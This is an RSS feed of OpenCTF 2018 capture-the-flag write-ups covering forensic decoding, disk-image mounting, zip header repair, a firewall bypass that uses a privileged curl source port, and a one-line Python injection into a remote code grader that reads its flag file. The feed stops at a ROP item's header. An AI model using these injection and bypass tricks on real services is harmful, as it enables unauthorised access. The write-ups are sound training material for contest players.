<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>b0tchsec</title>
		<description> <h1>Botch</h1> <strong>verb</strong> - carry out a task badly or carelessly <br /> <strong>noun</strong> - a bungled or badly carried out task or action. <br /><br /> <h1>Security</h1> <strong>noun</strong> - the state of being free from danger or threat <br /> <strong>noun (2)</strong> - Something you probably botched. </description>
		<link>http://b0tchsec.com</link>
		<atom:link href="http://b0tchsec.com/feed.xml" rel="self" type="application/rss+xml" />
		
			<item>
				<title>OpenCTF : Do The Needful</title>
				<description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 50&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Do the needful
https://scoreboard.openctf.com/DoTheNeedful-98e4c6ba71f88e4201a08e7503b0df6124607e39
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;File Download:&lt;/strong&gt; &lt;a href=&quot;https://aagallag.com/files/ctf_files/openctf/DoTheNeedful-98e4c6ba71f88e4201a08e7503b0df6124607e39&quot;&gt;DoTheNeedful-98e4c6ba71f88e4201a08e7503b0df6124607e39&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When we extract this file, we end up with &lt;code class=&quot;highlighter-rouge&quot;&gt;Challenge.txt&lt;/code&gt;.  So I go ahead and cat it.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cat Challenge.txt 
=AAAAMjU/o7Z+0V17r06KDNmaZHQB1VSlR7wsTDuNk1ok3wfRPMl5YAAV/DwDzAIAERyH3wAAsVVGNBAIs4H
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This looks like a base64 string, however, with base64 encoding, the &lt;code class=&quot;highlighter-rouge&quot;&gt;=&lt;/code&gt; character is used as padding and should only show up at the end of a base64 string, if at all.  So let’s try and reverse the string.  I wrote a quick Python script for this, and write the result to a file.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Read the file&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Challenge.txt'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'rb'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Reverse the string&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[::&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Decode&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Write to a file&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'b64_decode.raw'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'wb'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now let’s see what kind of file the resulting base64 is.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file b64_decode.txt 
b64_decode.txt: gzip compressed data, last modified: Mon Jul 23 03:05:55 2018, from Unix
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, looks like a gzip.  Let’s extract it!&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ mv b64_decode.txt b64_decode.gz
$ gzip -d b64_decode.gz
$ file b64_decode 
b64_decode: ASCII text
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So it’s ASCII, maybe it’s the flag!&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cat b64_decode 
466c61677b6577373332386866386573676839663233677d0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hmm, looks like hex encoding.  I just run a simple one-liner in the Python interpreter to decode this.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'466c61677b6577373332386866386573676839663233677d0a'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'hex'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'Flag{ew7328hf8esgh9f23g}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;flag&quot;&gt;Flag&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Flag{ew7328hf8esgh9f23g}&lt;/strong&gt;&lt;/p&gt;
</description>
				<pubDate>Sun, 12 Aug 2018 20:41:00 +0000</pubDate>
				<link>http://b0tchsec.com/2018/openctf/dotheneedful</link>
				<guid isPermaLink="true">http://b0tchsec.com/2018/openctf/dotheneedful</guid>
			</item>
		
			<item>
				<title>OpenCTF : Nightmare 50</title>
				<description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 50&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Automated home work scoring my ass. https://shades-of-nightmare.openctf.com/nzpoixyucvkjwnerntasdfascdvasdfqwerqwe/nightmare-50/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When connecting to this website in my browser, I receive the following prompt:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Welcome to Doctor Professor Wilson's Python 101!
Lesson 1: hello world
Enter homework for grading:
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So it looks like this will execute the Python code you provide.  So I test it with the following:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Welcome to Doctor Professor Wilson's Python 101!
Lesson 1: hello world
Enter homework for grading:
print('Hello world')
Hello world
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And then it immediately closes the connection.  So it looks like it only allows a single line of Python code.&lt;/p&gt;

&lt;p&gt;I then decide to try and dump the working directory file contents.  This can be done with &lt;code class=&quot;highlighter-rouge&quot;&gt;os.listdir('.')&lt;/code&gt;, however, this would require a call to &lt;code class=&quot;highlighter-rouge&quot;&gt;import os&lt;/code&gt;.  Unfortunately, it appears some or all imports are blocked, as an error was returned.  So instead, I decide to just guess that there exists a file either called &lt;code class=&quot;highlighter-rouge&quot;&gt;flag.txt&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;flag&lt;/code&gt; in the working directory, and luckily, opening and reading files doesn’t require any imports.  So I construct a one-liner to do just that: &lt;code class=&quot;highlighter-rouge&quot;&gt;print(open('flag.txt','r').read())&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Welcome to Doctor Professor Wilson's Python 101!
Lesson 1: hello world
Enter homework for grading:
print(open('flag.txt','r').read())
ThisIsAVeryFl@ggyFlag
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;flag&quot;&gt;Flag&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;ThisIsAVeryFl@ggyFlag&lt;/strong&gt;&lt;/p&gt;
</description>
				<pubDate>Sun, 12 Aug 2018 20:27:00 +0000</pubDate>
				<link>http://b0tchsec.com/2018/openctf/nightmare50</link>
				<guid isPermaLink="true">http://b0tchsec.com/2018/openctf/nightmare50</guid>
			</item>
		
			<item>
				<title>OpenCTF : mbrtetris</title>
				<description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 25&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;boot this on baremetal. - https://kajer.openctf.com/tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;File Download:&lt;/strong&gt; &lt;a href=&quot;https://aagallag.com/files/ctf_files/openctf/tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6&quot;&gt;tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I start by running the &lt;code class=&quot;highlighter-rouge&quot;&gt;file&lt;/code&gt; command:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6 
tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6: DOS/MBR boot sector; partition 1 : ID=0x7, start-CHS (0x0,33,3), end-CHS (0x1,124,22), startsector 2048, 20480 sectors
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, let’s try mounting this:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo mount tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6 /mnt
mount: /mnt: wrong fs type, bad option, bad superblock on /dev/loop19, missing codepage or helper program, or other error.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hmm, I use some Google-fu, and I stumble upon this useful article on &lt;a href=&quot;https://major.io/2010/12/14/mounting-a-raw-partition-file-made-with-dd-or-dd_rescue-in-linux/&quot;&gt;major.io&lt;/a&gt;.  As the article suggests, let’s run fdisk to calculate the offset.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ fdisk -l tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6 
Disk tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6: 12 MiB, 12582912 bytes, 24576 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x3e33db48

Device                                                Boot Start   End Sectors Size Id Type
tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6p1       2048 22527   20480  10M  7 HPFS/NTFS/exFAT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the math for this should be: &lt;code class=&quot;highlighter-rouge&quot;&gt;2048*512 == 1048576&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;And finally, to successfully mount this:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo mount -o ro,loop,offset=1048576 tinytetris-2c5414f1f85397e1787ec31cca3f252ac5fb78a6 /mnt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And finally, let’s take a look at the contents of this image.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cd /mnt
$ sudo ls -la
total 725
drwxrwxrwx  1 root root   4096 Jun  8 12:34  .
drwxr-xr-x 26 root root   4096 Aug  9 09:46  ..
drwxrwxrwx  1 root root   4096 Jun  8 12:34  4
-rwxrwxrwx  1 root root 727552 Jul  4  2017  bigfile.exe
-rwxrwxrwx  1 root root    237 Jun  8 12:34  flag.pyc
drwxrwxrwx  1 root root      0 Jul  5  2017  kuku
drwxrwxrwx  1 root root      0 Jul  5  2017 'System Volume Information'
$ python flag.pyc 
s1mPl3_0n_linux_sux0rZ_oN_winb10w$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;flag&quot;&gt;Flag&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;s1mPl3_0n_linux_sux0rZ_oN_winb10w$&lt;/strong&gt;&lt;/p&gt;
</description>
				<pubDate>Sun, 12 Aug 2018 17:15:00 +0000</pubDate>
				<link>http://b0tchsec.com/2018/openctf/mbrtetris</link>
				<guid isPermaLink="true">http://b0tchsec.com/2018/openctf/mbrtetris</guid>
			</item>
		
			<item>
				<title>OpenCTF : fire walker 0</title>
				<description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Network&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 50&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Flag: http://172.31.2.97:20621/flag-d12bb978.txt Firewall rules: https://scoreboard.openctf.com/firewalker_0-acaceaa807e20591173451a7a824a23f2728563b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;File Download:&lt;/strong&gt; &lt;a href=&quot;https://aagallag.com/files/ctf_files/openctf/firewalker_0-acaceaa807e20591173451a7a824a23f2728563b&quot;&gt;firewalker_0-acaceaa807e20591173451a7a824a23f2728563b&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The goal of the fire walker challenges is straight-forward, download the flag file from the provided http URL.  The trick is, there are firewall rules that will prevent you from simply running wget, curl, or opening the URL in your favorite web browser.  So let’s take a look at the firewall rules:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cat port_20621_rules.txt 
Chain PORT_20621 (1 references)
target     prot opt source               destination         
REJECT     tcp  --  anywhere             anywhere             tcp spts:1024:65535 reject-with icmp-admin-prohibited
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So what these rules are describing, is that if the source port is in the range of 1024-65535, the packet will be rejected.  For those new to networking, every TCP connection has a source port and a destination port.  You are likely already aware of common destination port number used for servers, for example, HTTP uses port &lt;code class=&quot;highlighter-rouge&quot;&gt;80&lt;/code&gt; by default.  In this challenge, port &lt;code class=&quot;highlighter-rouge&quot;&gt;20621&lt;/code&gt; is the destination port for our HTTP traffic.  However, the source port is randomly selected by your client.  And because ports under 1024 generally require elevated privellages, most, if not all, programs will never select a port below 1024.  However, both &lt;code class=&quot;highlighter-rouge&quot;&gt;nc&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;curl&lt;/code&gt; allow you to manually specify the port number.  I decided to use &lt;code class=&quot;highlighter-rouge&quot;&gt;curl&lt;/code&gt; because this allowed me to avoid manually building the HTTP GET request.  Be sure to run the command with &lt;code class=&quot;highlighter-rouge&quot;&gt;sudo&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo curl --local-port 22 http://172.31.2.97:20621/flag-d12bb978.txt &amp;gt; flag-d12bb978.txt
$ cat flag-d12bb978.txt 
pr1vil3ge_h4s_its_privile9e5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;flag&quot;&gt;Flag&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;pr1vil3ge_h4s_its_privile9e5&lt;/strong&gt;&lt;/p&gt;
</description>
				<pubDate>Sun, 12 Aug 2018 16:54:00 +0000</pubDate>
				<link>http://b0tchsec.com/2018/openctf/firewalker0</link>
				<guid isPermaLink="true">http://b0tchsec.com/2018/openctf/firewalker0</guid>
			</item>
		
			<item>
				<title>OpenCTF : HeadOn</title>
				<description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 50&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Apply directly to the console
https://scoreboard.openctf.com/HeadOn-ac8890852965d787f7591bc10add61bb01efb5eb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;File Download:&lt;/strong&gt; &lt;a href=&quot;https://aagallag.com/files/ctf_files/openctf/HeadOn-ac8890852965d787f7591bc10add61bb01efb5eb&quot;&gt;HeadOn-ac8890852965d787f7591bc10add61bb01efb5eb&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file blob 
blob: data
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I also try running &lt;code class=&quot;highlighter-rouge&quot;&gt;strings&lt;/code&gt; on the file, but I don’t find anything interesting.&lt;/p&gt;

&lt;p&gt;Let’s try &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot;&gt;binwalk&lt;/a&gt;.  If you have never heard of binwalk, it is a fantastic tool for solving forensics challenges.  It goes through files of any type, looking for known magic cookies to help identify when one file type is embedded in another.  For example, you may be given an ELF file, that has a jpeg embedded in it, binwalk will be able to find it, assuming the file is not encoded or encrypted in some way.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ binwalk blob 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
9719          0x25F7          End of Zip archive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the file contains the end of the zip, not the beginning.  I then think about the challenge name and descrition, and realize &lt;code class=&quot;highlighter-rouge&quot;&gt;HeadOn&lt;/code&gt; is referring to the file header.  So while I could have pulled up the zip file specification documentation, this is a CTF, and solving the challenge quickly is most important.  So I create a quick zip file so that I can compare the header of the the valid zip file with the invalid zip file header.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ zip tmp.zip blob
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Valid Zip Header (&lt;code class=&quot;highlighter-rouge&quot;&gt;tmp.zip&lt;/code&gt;):&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;00000000: 504b 0304 1400 0000 0800 195e 044d ea3e  PK.........^.M.&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Invalid Zip Header (&lt;code class=&quot;highlighter-rouge&quot;&gt;blob&lt;/code&gt;):&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;00000000: 0000 0000 1400 0000 0800 345b 044d 4921  ..........4[.MI!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, so immediately I notice that the valid zip file starts with the bytes, &lt;code class=&quot;highlighter-rouge&quot;&gt;504b 0304&lt;/code&gt; while the invalid zip file starts with &lt;code class=&quot;highlighter-rouge&quot;&gt;0000 0000&lt;/code&gt;.  So simply use your favorite hex-editor, to change the first 4 bytes of &lt;code class=&quot;highlighter-rouge&quot;&gt;blob&lt;/code&gt; to match with the first 4 bytes of &lt;code class=&quot;highlighter-rouge&quot;&gt;tmp.zip&lt;/code&gt;.  I used sublime-text, but I’ll also include a few lines of Python that can take care of this.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'blob'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'rb'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;patched_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x50\x4b\x03\x04&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'blob_patched.zip'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'wb'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;patched_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now extract the zip file.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ unzip blob_patched.zip 
Archive:  blob_patched.zip
  inflating: flag.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And open flag.pdf in your preferred pdf viewer.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/GWjZU9n.png&quot; class=&quot;img-responsive&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;flag&quot;&gt;Flag&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Flag{SDG7qJ734rIw6f3f90832r}&lt;/strong&gt;&lt;/p&gt;
</description>
				<pubDate>Sun, 12 Aug 2018 16:42:00 +0000</pubDate>
				<link>http://b0tchsec.com/2018/openctf/headon</link>
				<guid isPermaLink="true">http://b0tchsec.com/2018/openctf/headon</guid>
			</item>
		
			<item>
				<title>OpenCTF : Baby's First ROP</title>
				<description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Binary/Reverse&lt;/p&gt;

